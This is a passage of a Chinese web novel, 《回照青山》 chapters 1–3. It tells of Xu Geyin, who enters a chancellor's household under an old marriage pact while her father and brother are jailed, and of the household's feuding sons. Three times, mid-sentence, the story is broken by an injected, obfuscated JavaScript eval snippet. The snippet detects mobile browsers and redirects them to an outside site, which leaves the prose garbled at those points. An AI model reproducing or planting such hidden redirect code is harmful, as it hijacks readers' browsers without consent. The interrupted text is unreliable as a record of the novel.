《回照青山》 1. 步登云 船接岸的时候重重晃了两下，大约惊扰了芦苇荡里的白鹭，有振翅声。 帘子高高举开，许革音刚躬身探出个脸，下面已有一位马夫走近，微微抻着脖子问道：“敢问平江许氏与否？” “是呢！”刘妈妈回身快走了两步，扬声冲下面回话。 厚重的帘子骤然落下，扑出沉重的风，裙摆扬起，许革音顺势提裙，踩着晃颤的搭板，冲车夫颔首，气也没换两口又上了马车。 刘妈妈后脚跟了上来，人都没坐定，先敲了敲车辕，急急道一声“走罢”，再要往下坐时前头马已经动起来，差点摔个仰倒，所幸身后及时扶上来一双手。 刘妈妈嘴里念叨一句“多亏姑娘”，坐正后再往旁边瞧的时候许革音腰板也已经挺得板正，垂眉下视，仍是一副沉静娴雅的闺秀模样。只不过连日的奔波到底令人憔悴苍白些。 许士济清正如竹，其女许革音亦有风骨，此番再提婚约到底是觍颜攀附。若再早个几月提起这桩旧日婚约，许革音是决计不肯点头的。可如今又能怎么着？父兄获罪入狱，眼见着将有两月也没漏出来只言片语，想来必不可能轻拿轻放。若不趁着罪名未定时将许革音摘出去，届时必受牵连。婚嫁困难都是轻的，指不定是要掉脑袋的！ “此番既是高攀，进了左丞府后自当珍重。旁的且不论，夫妻关系须得用心经营，殷切体贴些。这四少爷是个主事，今年更是兼任了巡盐御史。若有机会，再求他出面为你父兄谋条出路。高门……”刘妈妈有心宽慰嘱咐，拉过她合握置于双膝之上的手，骤然摸到了一手的冷汗。 冰凉的指尖带着潮意，此刻有些微不可查颤抖，正缓慢地抽回。许革音抿出一个浅笑，回道：“我知道的。” 刘妈妈默了默，好半晌才道：“别怕。” 马车慢下来，桂花香先送进车厢里，干燥的空气带着白日里的余热，一起从鼻腔窜进去。 掀开遮帘，一辆马车在石狮子前头都削薄得似纸片。 刘妈妈将许革音扶下来站定，自个儿捏着裙摆，上了两段六层台阶，微微倾身，恭恭敬敬同门房短短说了两句话，回身的时候面色不大好。及至跟前，才扯了个笑出来，“正是下值的工夫，大门儿怕是不大方便。” 甫将人送到，车夫便赶马走了，这会儿也只能徒步，贴着高墙一路往东走，整整一炷香才再站定。 连着水路并马车，整日里饭也不曾用几口，许革音胸口有些不适，看着刘妈妈又给门房塞了一把碎银，说是早已交了拜帖，只求着给府里大房主母身边的李嬷嬷通传一声。 直至天色微暗，才远远听见门里有个仆妇的声音传出来：“啊唷！府里大爷刚下值，正忙着伺候呢！怎的这般不巧，偏在这个节骨眼上？” 刘妈妈自然也是做过功课的。那大爷是个副千户，平日里手头不是很忙，早该过了下值的点，如今拿这个搪塞，实在有些敷衍。 刘妈妈权当没听出话里的不耐烦，瞧见人出来，伸手向前迎了两步，直接拉住人的手腕，殷切道：“老姐姐！真真对不住，今日自知时辰不巧，但已逾三日，断无颜再拖延。” 李嬷嬷唇角提着，脸上笑意却不大真切，作势理袖抽回了手，奇道：“我还当是咱们记错了日子呢，早等晚等都等不来。” 这天底下断没有求人的反过来摆架子的道理。 “原也是特地提前了两日启程，谁知江上起风，硬生生耽搁了，老姐姐莫怪。”刘妈妈堪堪维持住笑容，深知大房应当也是不大满意这门婚事，此刻更不该在这个话题上牵扯，赶忙侧身将许革音拉上前来，“您瞧，这孩子也实在是个好的，心里挂念着老太太，刚下船气都没歇一口，马不停蹄地赶来了。” 许革音到底有些羞愧，微微偏开头。转而立马正身，低眉顺眼唤了声“李嬷嬷”。 此刻天幕深蓝，檐下刚掌了灯，暖黄的光在面皮上匀覆一层，倒少了些舟车劳顿的苍白。嘴唇也是晶亮，应当是方才舔润过，于是有种透光的错觉。 略显弱相，却也当真好颜色。 李嬷嬷将人打量了一个来回，却有些不满——大户人家的正妻，门当户对、端庄持重向来都是最要紧的，貌色过甚，反倒是负累。 那四少爷正是知趣儿的年纪，最爱皮相出众的，屋里已经有了两个通房。大奶奶原先属意的儿媳是其堂兄礼部侍郎府里的嫡二姑娘，相貌虽欠缺些，但到底是大户人家里出来的，贤良却有傲骨，镇得住底下的莺莺燕燕。 李嬷嬷眼皮子上下一翻，一边嘴角挑出来个假笑，道：“倒也不是我刻意为难，大奶奶原先特地叫人将姝嫔娘娘闺中的院子收拾出来，谁料就这两日又从宫里得信儿说过两日省亲，如今是万不能先叫旁人住进去的。” 姝嫔原是大奶奶膝下长女，如今在宫里也很是得宠。 “这该如何是好？”刘妈妈说罢又觉得冒失，正想再做个弱态央一央，身后却有脚步接近。 打头先走过来一个小厮，见着门口稀稀拉拉站了四五个人，先是一愣，转而看见旁边站了个貌美的女子，皱起眉来，“三少爷下值回府，闲人避让。” 李嬷嬷并两个门童认出了人声，头都没敢抬，忙不迭垂首贴到路边，许革音和李嬷嬷见状也跟着退到另一边。 这处小门窄了些，马车过不得，远远停下了。后面两串脚步声趋近，沉稳有力，不急不缓，步子却跨得极大，只不过一个呼吸，前面那双包金线黑靴和其上翩飞的小杂花暗纹青袍衣角就从许革音低垂着的视线里彻底消失。 原先的小厮却没急着走，拧眉走到李嬷嬷跟前，先是扫了旁边的许革音一眼，意有所指道：“李嬷嬷，大奶奶再怎么操心三少爷房里事，在门口堵人还是太不成体统了些。” 这话说得十分不客气。李嬷嬷反应过来，立刻道：“倒也不是，这位是……” “近日三少爷忙得很，这样的事千万不能再有。”小厮抬手打断，撂下一句话，便追着前头消失的人影疾步走了。 等小厮也拐进月洞门里没了踪影，李嬷嬷才顺了顺胸口，“嚇死个人！三房那位阎罗今日怎的下值这么早？” ——近日听说刑部的案子堆成山了，接连两个月，不过子夜他是万万回不来的。 门童视线从那头月洞门收回来，也压低了声音回道：“不知道呢，许是有要事与老爷相商罢。” 祝秉青行三，平时瞧着寡言少语的，心里却有主意得很。打从中了传胪，更是不假辞色。眼见着也将要及冠了，房里却始终没人，老爷最近有意给他物色，很有借此笼络朝臣的意思。 三奶奶年前才去，如今三房里也就只剩祝秉青和底下一个幼弟，没有个当家的，大房二房都有意趁此机会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739939|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 插手一二。就算最后正妻之位花落旁家，最少也要塞个得宠的侍妾通房。 盖因三少爷已在六部，往后多半会居要职。大房二房都有爷在朝中当官，日后总有往来，更该多走动关系。可那祝秉青油盐不进，别说府里另两房，连左丞老爷他也不太亲近。 ——唯有在他婚事上能下点功夫。 前些时候李嬷嬷便领命从家生子里挑了两个貌色顶好送进三房，结果连三少爷面都没见到。三少爷身边那个侍卫颓山出来冷冰冰扔了三个字“请回罢”便要赶人。 李嬷嬷还想再劝，颓山面现不耐，那骇人模样比三少爷也不遑多让，吓得她当即掐住话头，匆匆别过。 想来刚刚那小厮便是误会了李嬷嬷刻意带人来三少爷面前露脸。 接二连三被三房如此下脸，李嬷嬷更是咬牙，“三房里的下人忒没有规矩！” 李嬷嬷是府里的老人，别说仆人，便是大房二房的小姐少爷都要卖她一分薄面，偏这三房里的，一个两个都是好大的威风，全然不将人放在眼里的！ 无奈大奶奶二奶奶如今都想插手祝秉青的婚事，两边儿都想抢个先机，李嬷嬷送不进去人，大奶奶那边就交不了差，便是硬着头皮，也要和三房打交道。 李嬷嬷还盯着那边衣角消失的月洞门，忽听得旁边许革音掩唇轻轻咳嗽了一声，这才将视线重新转回来。 僵持在门口到底不是什么有脸面的事情，刘妈妈回神，咬咬牙侧首问道：“不知老太太如今可好些了？” 这话一出来，本就安静的侧门更是可闻风声。 左丞府原是不肯娶低门妻的。此番硬着头皮点头，一来是不愿意担个落井下石的名声，在圣人面前没脸；二来则是先前三奶奶故去，老太太也一直缠绵病榻，病情更有加重的势头，这婚事说白了就是冲喜。 这话问出来实在有些逼迫的意思，但李嬷嬷到底是人精，捋了捋袖子，面不改色，“倒也无甚变化，天色也不早了，总站在这门口算是个什么事儿？随我进来罢。” 一路走着，却不是往大房的东园去，李嬷嬷在前面道：“东园里实在是没有合适的院子了，所幸老太太那边却是有一间留着。” 竟是要直接将人送到老太太身边伺候。 没有下人敢做主子的主，她既敢如此行事，想来大奶奶那边是首肯了的。 这实在有些折辱人。气氛冷沉下来，刘妈妈和许革音缀在后面，却谁也没有开口驳斥。 连过了几个月洞门，再穿过一处假山临水的花园，大约是已踏进了左丞的正园，迎面走来个威严的老者，周遭有人唤“老爷”，瞧着已是怒极的模样。后面跟着个面容沉静的青年，阔步缓行，近身的时候如山岳似的压过来，眼神微微向下扫了一眼，下颌始终微微抬着。 分明不是肃容，却裹挟着寒意。目光相接像是深夜里的雨露，沾身一点一滴都叫人战栗。 小臂被人扶了一下，许革音意识到自己的失态，顺势偏头对刘妈妈笑笑，默不作声抬脚跟住已经领先的李嬷嬷。 不远处缩在景墙后面探着头的婢女或家仆总算敢出声，话音断断续续追上来：“……一向是从不出错的，此次怎惹得老爷如此动怒？” “竟是请了家法？！……” 这身小杂花暗纹的青袍公服并不陌生，先前才在西侧门看见过。 2. 白云司 两扇沉重的槅扇门推开，贴地的薄尘扬起，迎面扑过来的却是浓重刺鼻的香火味。 老爷子甚至没发话，祝秉青便径自走到蒲团前撩袍跪下，身前的烛焰随之摇晃，在顶上汪着的蜡油里“哔剥”一声，他随之掀开眼皮，虚虚盯住最前面的牌位。 祝邈接过竹板，将下人喝退，一回头见祝秉青一身青袍跪得端正，更是气不打一处来，斥道：“混账！还不将公服脱了！” 祝秉青闻言抬手将素银腰带拆下，又解开扣子，手臂伸出，外衫堆叠在腰间，再将雪白的中衣里衣脱下叠好放在膝边，泰然正身。 下一瞬，竹板便破风落到他的脊背上。 “即便你是圣人钦定的朝官，也不该如此肆意妄为！”说话太急，呛风重重咳了一声，“你再是嫉恨，又如何能私自毁盐？！巢倾卵破，此事若是败露，你便能独善其身吗？！” 人人都知贩盐利润极大，以往全权由官府经手，如今稍微放开些，寻常商户亦可凭盐引取盐贩盐。可取盐多少也有个定数，因此设巡盐御史审查取盐，是个十分紧要的职位。 去岁的巡盐御史是礼部侍郎府里的嫡长公子，今年上任的恰恰是大房的四少爷。 礼部侍郎从太公那辈起就与祝氏多有来往，后面堂妹嫁与左丞嫡长子，便是如今的大奶奶。 大奶奶膝下仅祝秉鹤一子，行四。与侍郎嫡长公子同窗六载，又是表亲，自然互相帮衬。 祝秉鹤承情选上巡盐御史，隔日便私底下邀宴，酒席之上自然无话不谈，如何从手里漏些盐换取富商手里的真金白银也不吝相告。 两人就这么暗渡陈仓小半年，五月里却突然有一日清晨，晒盐场白花花的细盐里零零散散出现了几个黑点，像是开始腐坏的白面馒头。走近一瞧，竟是死老鼠！ 底下的人不敢怠慢，忙不迭报上去。 “这事自然不会上达天听。祖父也当清楚，秉鹤虽冒进，却不至于愚蠢。”祝秉青从容道。 彼时祝秉鹤甫一收到消息，便立刻调了亲信封锁盐厂。将死老鼠挑出来，又抓了几只猫狗试吃，方知这三亩晒盐场里的成盐竟全被人投了砒霜！ 后又将盐厂查了个底儿朝天。盐田虽幸免于难，三亩晒盐场却也并不是个小数目，产量几何、送往何处都是早预定下的。祝秉鹤一时焦头烂额，只能暗地里大量购置私盐官盐，明面上则加强盐引审核，拖延时间。 凭他自己一个人短期内当然是很难补上这么大一个窟窿。别说大房，连带着左丞和侍郎府都卖了些人情。 “你两三句话说得好不轻巧！”祝邈气极，抬手又是一板重重挥下去，“你可知因为此事左丞府落下多少话柄在人手里？稍有不慎都是结党营私的大罪！” “唇亡齿寒，你又何故如此不留情面？” 祝秉青挺腰受了第三板，身子崩得很直，只在板子落下的时候有轻微的晃幅。此刻竟还微笑起来，“若非是留了情面，秉鹤修复起盐田来恐怕还要多费些功夫。” “你这逆子！”一连又是三下，从斑驳的红痕里渐渐显露出瘀痧，“世家族支休戚相关，即便你记恨大房占了今年的巡盐御史之职，也不该如此剑走偏锋！” 巡盐御史一年一任，向来是由皇帝选派。虽只是个七品官，但官微权重，又与各部皆有往来，于日后擢升颇有裨益。 原先今年是有意指给祝秉青的。可巧就巧在去岁冬月时任矩州知事的祝秉鹤返京，好一通卖惨。 矩州地处西南山地，雨水又多，塌方泥石流常有，一般都是下放有过错的官员。但此前贬下去的知事死在了任上，恰逢左丞有意为祝秉鹤谋职历练，皇帝便指了个矩州知事。 皇帝自是知道将初出茅庐的世家公子哥儿送去矩州多少有些不大厚道，因此在祝秉鹤返京后当即给了个膳部司的主事，听得他一番卖惨，又允了次年的巡盐御史以示抚慰。 “祖父也明白是他占了我的，却质问我为何剑走偏锋。那我也想问问，左丞府上下沆瀣一气，为何就不肯放我一条生路？” 去年祝秉鹤敢卖惨求职，无非是从他那好表哥那里事先知道了人选，仗着祝秉青势单力薄，又同出一府，在皇帝眼中无甚区别。 若是换了旁人，他祝秉鹤敢吗？ 祝秉鹤上有长辈偏疼，又有表亲帮扶，仕途坦荡光明，不缺巡盐御史一职来拓宽人脉，盯着这个职位，不过是想捞些油水。 朝中职位不总有空缺，巡盐御史一年一度的调任也讲个天时地利人和。今年的圣宠给到了左丞府，明年未必想得起他祝秉青。此刻他已懒得再提。 只是缓缓吐了一口气，将晃动间落到地面的两只衣袖捡起来，在腰上打了个结。背上抽出来的肉楞拉抻崩裂，冒出血珠。“木已成舟，总翻旧账也没甚意思。我一向屈己待人，很是好说话。可自古长幼有序，秉鹤也实在不该在这个关头迎新妇。” 话头转得太快，祝邈一愣，还没捋清其中关窍，“胡扯什么！往日里叫你相看你推三阻四拖到今时，秉鹤是早定下的婚事，又岂容你插手？” 祝秉青没什么心思跟他打太极，视线虚焦平视前方，说出来的话却一句比一句清晰：“太常卿十月致仕，届时大宪卿是很有望擢升的。可大姐在宫里很是得宠，秉鹤又在这个关头自折身价迎娶一个罪臣之女，实在令我忧心。” 等太常少卿顶上去，下任太常少卿会从六部郎中里挑选，郎中的位置自然空出来。祝秉鹤如今在礼部，难保他们不趁机先一步将大仪相推上去。 左丞权柄在握，圣人又很是个心软的性子。许氏父子仍未定罪，迎许氏入门无异于自折羽翼以表忠心，届时为表体恤或补偿，顺势将礼部清吏司郎中一职空置再指给祝秉鹤也是极有可能的。 况且祝秉青也有别的考量。许氏父子一案与大房似有牵扯，祝秉青更不可能放任许氏进大房。 “大房贪污受贿，二房买官鬻爵。湖广堤坝崩塌，重庆府山火失控祸及村庄，”他刻意停了一停，几不可察地“嗤”了一声，“许氏父子的案子涉及税收，便也将转到比部司了。” 祝邈自然是听出来了，祝秉青今日主动求见拿毁盐的事敲门，左不过是为了叫老爷子清楚，他祝秉青如今绝不可能任人搓圆捏扁，先一步断了祝秉鹤的路。 祝秉青进士出身，二甲第一名传胪，殿试后直接授了刑部比部司主事，主断财政相关，如今已经积官员外郎，下一步就是郎中。只等着大宪卿让位。 祝秉青是瞒着阖府上下，悄没声儿自己挣出来个官职，心机手段可见一斑。 可也着实是被这一个接一个的案子砸昏了头。 他不是不知道大房二房背地里干的那些事儿，可当官的能有几个清白的，多得是人情往来。他一贯是睁一只眼闭一只眼。但被摊开来放到人前又是另一回事。 “大逆不道！”祝邈发声线已经发抖，紧紧捏着竹板指着祝秉青面门，却连挥板都忘记了，“你这畜生、你这畜生！” 祝秉青恍若未闻，平淡道：“孙子最近实在是分身乏术，祖父也体谅体谅我罢。” ——这个疯子！ 他分明就是在说：我有的是手段整你们，只是腾不开手罢了！ “当然，祖父倘若非要促成此番婚事，我这个做堂兄的不能越俎代庖，”他抬头看上去，唇角扯出一个笑来，“只是洗雪逋负，十年亦不晚。” “你当你是在跟谁说话？！反了你了！”祝邈厉声喝道。可背脊上也实打实出了些冷汗。 祝秉青发疯他不能不忌惮，祝氏盘根错节，朝廷命官不在少数，即便当今圣上并不视其为心腹大患，可政敌势必借题发挥。行至高位，是一点错也不能犯的。 许氏如今已经接进府里，下值时才跨过门槛便有下人来报。应天府里世家大族底下的人都不是白养的，想来早传遍了。 大房里的长女是宫里的宠妃，膝下已有皇子长成，祝秉鹤并不宜娶高门。此时许氏父子未曾定罪，将许氏娶进来也就娶了，挣个重诺的好名声，还能借此摆脱结党之嫌——这是老爷子原先就打算好的。 可若是等那许氏父子罪名落下来，许氏连坐，那左丞府就要担个包藏嫌犯的罪名。 ——但是人都接进来了，还能送回去吗？ 那岂不是滑天下之大稽！人都接进来了！ 祝邈双手背在身后，来回踱了两步，指尖都有些颤抖。 旋即在祝秉青身后站定，冷声道：“你既有脸如此逼迫亲眷，也休怪我不留情面！” - 第一夜里在正园匆匆歇下了，次日便去西厢房拜见了老太太。 为了通风，窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739940|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 户全都打开了半扇，床上却是被厚重的帷帐裹得密不透风。 许革音没见过老太太，甚至也没听说过，如今隔着重重的帘帐，断断续续说了些话，竟也耗了小半个时辰。而里面始终只有微薄的呼吸。 下晌又问了下人，往大房去了，却是没见到人。 大奶奶托辞头风闭门谢客，一连好些天，许革音与刘妈妈都没见着大房里的一个主子。 虽说是客，却到底是将履行婚约的，行事多少要顾着左丞府的名声，不好太自由。因此这些时日里她们也只用采买的借口出去过一回，余下的时候，一封接着一封的信从侧门送出去，杳无回音。 许氏父子原先就地押在平江吴县，初时还能探视，再过了几天便只能向狱卒打听。原以为最多关个旬余，可眼瞧着半月过去，便是父兄曾再三宽慰，许革音也察觉到端倪。还没来得及走动，上头已经下令将两人转送到了应天府。 吴县不是个多大的地方，一向太平，上回押送至应天府的还是十年前昧了漕粮的贪官，拖了月余，最后还是砍了——满门抄斩。 这实在骇人听闻。许家与人为善，出了此事虽说不至于墙倒众人推，可到底是避之不及，怕沾惹是非。许革音并不心寒，反而主动将家里的几个仆人遣散了，准备只身赴京，已是做好了共赴黄泉的准备。 最后是姑姑硬将人拉住了，“从前大哥当个玩笑说给我听，你与左丞府应当是有婚约的。大户人家最重名声，抵赖不得的。傻孩子！留得青山在，不怕没柴烧，你父兄在狱中还指望着你呢！” 唯有外嫁可以独善其身，左丞府又是个势大的，即使是冲喜，许革音仍觉得自己占了许多便宜。 大房不愿意接受她也在情理之中，但许家在应天并没有诸多人脉，想借左丞府的势，至少要先将婚期定下来。她不能干等。 兄长倒还好，人温和些，也知道变通，父亲却实打实是个犟的，多拖一天，或许就要多受一天的刑罚。 连日来许革音也打听到祝秉鹤房里已有两个貌美通房，想来不难打动。兴许眼下是瞧不上她的出身，但这婚事是左丞点了头的，他赖不掉。 许革音放下梳子起身，往中庭走——若能露个脸说两句话，说不定合了他的眼缘，还愿意提一提日程。 天色将将擦灰的时候，远远来了脚步声。听得出来跨得极大，落地的声音比寻常要更缓慢一些，趋近的速度却并不逊色。 许革音未曾见过祝秉鹤，却知道府里成年的少爷只有两位。另一位三少爷祝秉青她倒是见过的。正待再走出几步看看来的是哪位少爷，更远处有人高高唤了一声：“三哥！” 许革音一顿，那边前头走着的人却停也不停，后面的不得不提速。 待那声“三哥怎的不等我”隔着道景墙传过来有些不甚清晰，许革音才走到小径中央，想着今日实在是不凑巧。 南边抱团来了三四个丫鬟，在庭院里的每个灯柱里摆了一盏蜡烛，瞧见她的时候大概是不知道怎么称呼，微微福了福身，便低头散开。 她微微叹出来一口气，转身准备回东园，听见丫鬟压低的声音：“那是哪里来的贵客吗？” “……那身衣服比我这一身都逊色些？” 许革音抿抿唇，并不放在心上，背后却兀的有人出声：“何人？” 许革音吓了一跳，抬头看见去而复返的三少爷，仍是冷着一张脸。在这样的眼神下莫名有些紧张，于是干巴巴答道：“平江吴县许氏之女。” 灯柱里的烛火遇风，跳跃的亮光在他一侧下颌骨和脖子上晃颤，被高耸的喉结截停。 在愈暗的夜色里，许革音没法看清他的神情，却觉得比少时训斥她的教书先生还要可怖一些。于是自觉补充道：“家中长辈曾与左丞府长房定下婚约，此番……” “你还不知道么？”他打断。 “知道……什么？” 祝秉青很是沉默了一阵，“婚期定下了，就在这两日。” 说罢，他似乎也不欲过多停留，斜跨一步，擦身之时稍微停了一停，“你父兄的案子刑部自然会秉公处理。君子谨于言而慎于行，往后不要再送信出去。” 许革音抬头，接到他睨下来的冷淡视线，隐约觉得自己读出了他的未尽之言。 ——勿生事端。 3. 入虎口 许革音当真消停了两日没再往外递信。 倒不是被祝秉青唬住了，而是一时间确实想不出来应天府里到底还有没有别的没用得上的人脉。 第三日清晨半梦半醒间依稀听到外院有交谈声，便拢衣起身。 李嬷嬷正站在廊下同刘妈妈说话，显然心情不错，眉眼都柔和着。 刘妈妈道：“不若我先去喊姑娘起身？” “哎唷，不用！”李嬷嬷摆摆手，“倒也不是个什么急事儿，不差这一时半会儿的。” 下一刻瞧见许革音推门出来，立刻迎上去，笑道：“姑娘起得可真早，夜间可休息好了？” 这一番关切比之初见殷切了不知道多少倍。 “自然是好的，昨夜早早睡下了。” 许革音想起来前两日祝秉青说的婚期已定，想来确有此事。 果不其然，寒暄过后李嬷嬷便往后招了招手，将两个丫头拉到前面来，紧接着道：“老奴奉大奶奶的命，给姑娘送两个丫鬟过来。” 许革音入左丞府，身边只带了个刘妈妈。 许宅本就没几个下人，父兄出事后，许革音没留人，连刘妈妈都是姑母那边硬塞给她、暂借给她用的，在这偌大的左丞府里到底单薄。 想来是婚期将近，大奶奶特地送人来充门面。 许革音微微松了口气，客气道：“劳烦大奶奶惦记，府里下人细心周到，近日也不曾短过人手。” “哎——”李嬷嬷不大赞成叹了一气，搀着她的手服侍在院中的石凳上坐下，“婚仪到底累人，姑娘手底下总要有两个可使唤的丫头。” ——这是确凿定下来了。 许革音蜷着的手指微微展平，却见李嬷嬷却似有些为难的样子，嗓眼又是一紧，拢眉问道：“嬷嬷但说无妨。” “这话说出来实在有些不好听，但如今姑娘母家有些官司缠身，不宜宣扬。”李嬷嬷瞥下来一眼，“且那房里也不甚方便，怕是不能大操大办。” 许革音点点头。左丞府肯在这个关头应下亲事，即使冲喜多少有轻视的意思，也已经很是仗义。因此对于其后的刁难和轻贱多少心里也早做好了准备，此刻只盼越快越好，哪里顾得上计较虚礼。 “我明白的。”许革音扬唇，“人我留下了，替我谢过大奶奶。” 送走了李嬷嬷，刘妈妈看着院门，连叹了两声气。 许革音唇角展平，吐出来一口气，转身进了里屋。砚台已经干了，她倒水磨墨，面色平静。 刘妈妈跟进来，接过她手里的墨条，觑她几眼，到底是不平，“一顶小轿抬进门不声张是纳妾的规格，这也太作贱人了！” 许革音提起笔来，平淡道：“冲喜都认下了，争个排面又能让自己高贵些么？” 刘妈妈哑口，虽忿忿，但也知道受人恩惠哪有那么好挑捡。 “事既定下，我给姑母修书一封，先派人送回去。”笔尖在宣纸上蜿蜒，刘妈妈看不太懂，只听她继续说：“这些时日劳烦您陪我受尽冷眼，姑母身子不大好，对您颇有依赖，事了了也尽快回去罢。” “姑娘何苦这般见外。” 刘妈妈只说了这一句，随后沉默下来，心知许革音狷介，即使自己有心留下来帮衬，反倒叫她更愧疚。 等墨水干了，叠起来封住，刘妈妈又跑了侧门一趟，往门童袖子里塞几两碎银，将信递过去，照例问道：“有许姑娘的回信吗？” 门童还是摇头。 刘妈妈叹一口气，转念又想到婚事已定，总有别的办法。 前脚刘妈妈才走了，后脚三房里的小厮阿册便过来了。也从袖子里翻出来个信封，对门童道：“过了晌午，送到那位院子里去。” 门童应了声，道：“那刘妈妈刚刚才来过，这回要往吴县送信呢。” 阿册止步，手腕一翻，刚要递出去的信收回来，“也拿过来。” 三少爷对吴县来的许氏多有关注，打从入了府，往来信件无一不是先过了三房的。 祝秉青刚下了朝，回府换下朝服，阿册进门的时候柏呈在给他汇报府里的事务。 柏呈是跟在他胞弟七少爷身边的小厮，原先也是祝秉青身边的亲信，人机灵嘴甜些，便留下来照顾幼弟，亦关注府里动向。此刻正讲到大奶奶给许氏配了两个美婢、二奶奶又提了要把远房的外甥女接过来小住。 “还真是贼心不死。”祝秉青嗤道。 “是否一样打发了？”往日里退人回去都借口说娶妻前不肯收房。 祝秉青曾直言道自己是个极护短的性子，若真有看上眼的丫鬟，必然是要抬妾、一刻也按捺不得的。婚前纳妾那是极昏聩的纨绔才做得出来的事，这理由虽荒诞，却也说得过去。 “随她们去。”两个送来爬床的丫鬟罢了，起不了什么风浪。 祝秉青一贯不叫这些情爱之事沾身，一则为防混进来一些乱七八糟的眼线，二来也不贪这些。最忙的时候夜里连脸都不曾洗，趴在桌子上便睡了，更不愿意在此事上费时间。如今将迎新妇，先头的理由说不通，一时半会儿余两房只会更加变本加厉见缝插针地塞人，退了两个，还会再来两双。 阿册见这个话头没有下文，这才上前道：“许氏今日又往外递信了，原先准备的还送过去吗？” 祝秉青这才皱眉，冷声道：“拿来。” - 晌午的时候，刘妈妈火急火燎推门进来，面有喜色。 许革音将手上并未翻页的书卷放下来，起身问道：“怎的了？” 刘妈妈扬着手，“有回信！” 许革音怔愣一瞬，接过信封打开，信上不曾署名，也只有短短两行字。捏着信的手指发颤，来回将两行字看了四五遍，面上才终于似有喜色，可眉头却还拢着。“刑部肯放人进去探视了。” 两人是都坐不住的，立刻去大奶奶那边差人留了个口信，直奔刑部了。 直至在计簿上留了档案，一路也是畅通无阻，穿过幽暗的夹廊，却只见到了许士济一人。 许士济显然未曾事先得到消息，听见声音转过身来先是一惊，又迅速行至牢门前，急急问道：“你怎的来了？” 领路的小吏止步在一丈外，此刻已回避了，她的身后空无一人。许士济眉头皱起来，有些严厉的样子，“你孤身来的应天府？你一个姑娘家，实在有些胆大妄为！” 许革音眼前已然有些模糊，却也知道此刻决不是互诉衷肠的时候，抿几下嘴唇勉强压抑，将人来回打量，虽憔悴了些，倒也不似受过刑训的样子，这才略微放心，回道：“父亲不必担心我。姑母身边的刘妈妈一道来的，路上还雇了两个侍卫。” 许士济稍微放心下来，却还是不大赞成。“她怎的也跟着你胡闹。” “吴县那边传得很是严重，姑母担心我，同表奶奶跑了一趟应天府，将我的婚事定下来了。” “婚事？”许士济微愣，旋即明白过来，“左丞府？” 许革音应了一声，许士济便很是沉默了一阵。婚事是长辈玩笑般约定下来的，彼时祝府的大爷才娶亲，祝邈也只是个五品官。而后路分两头，两家人越走越远，早已高攀不上，许士济根本没有再提的打算，如今却是阴差阳错。 只能是叹了口气，道：“也好。” 许革音不愿在这个话题上过多停留，于是转头四顾，却见周遭的牢房全是空的。“哥哥呢？” “今晨提审了。”许士济眉头始终不曾松下来，却有意宽慰，“泮林一贯机敏谨慎，你不必忧心。” 许氏父子入狱最开始是巡抚叫人带去质询，听说是挖渠的文书有些错漏，后面竟就没放出来，个中细节父子两个也不曾提起。 “此番究竟缘何至此？挖渠之前已向上头请示过， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739941|174115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是无主的田地，怎么会横生枝节？”许革音见他微微偏头，不大想提的意思，顿时也有些着急，“爹爹此时又何苦瞒我！” 压低了声音循循善诱：“将嫁的四少爷是礼部主事，又是今年的巡盐御史，大爷也手握实权，女儿可以帮上忙的。” 讲到这里，声音里已有些颤抖。高攀者本就仰人鼻息，再仗人势，已经是将尊严放在地上任人踩了。 许士济点点头，却道：“祝四正春风得意，未曾听说品行上有太大错处，许是可托付之人。此番不得已而为之，未必不是一桩好事，至少你不必受牵累。” 又道：“察见渊鱼者不祥，你如今又入虎口前路不明，此事更不该掺和。” “爹爹！”他这是不愿透露详情。如此固执，许革音又恼又急。 空荡的幽廊有脚步声回响，先前将人带进来的小吏远远催促道：“时辰到了。” “婚期定下了吗？父兄恐不能送你出嫁，你只管经营好夫妻关系，不必挂心我们。”许士济深深看她一眼，叹道：“快走罢。” - 婚期定在了两日后，这是许革音回府后才得知的消息。十分仓促，也不曾宴请。 已在一个府里，婚仪当日便安排了一顶喜轿，装着新娘子在府里绕了几圈，抬到厅堂里拜堂。 小轿在府里绕了八圈，竟也耗费了一时辰，停下来压轿，帘子打开，牵红另一端被递进来。许革音握住，起身的时候眼前发黑，头脑昏涨，膝盖一软，肘下及时递过来一只手将她托住。 细长的指骨藤蔓一样延伸开来，缠绕裹覆，在肘弯里捏合。 又在她站稳后迅速撤走，像是退潮，动作毫不拖沓。 许革音下意识道谢，随后抿抿唇——没人教过她婚仪时随意说话合不合规矩，刘妈妈提前一天回了吴县，没来得及交代这些。她原是想等到礼成再走，许革音没点头，大约还是怕姑母后面听刘妈妈说起来的时候难过。 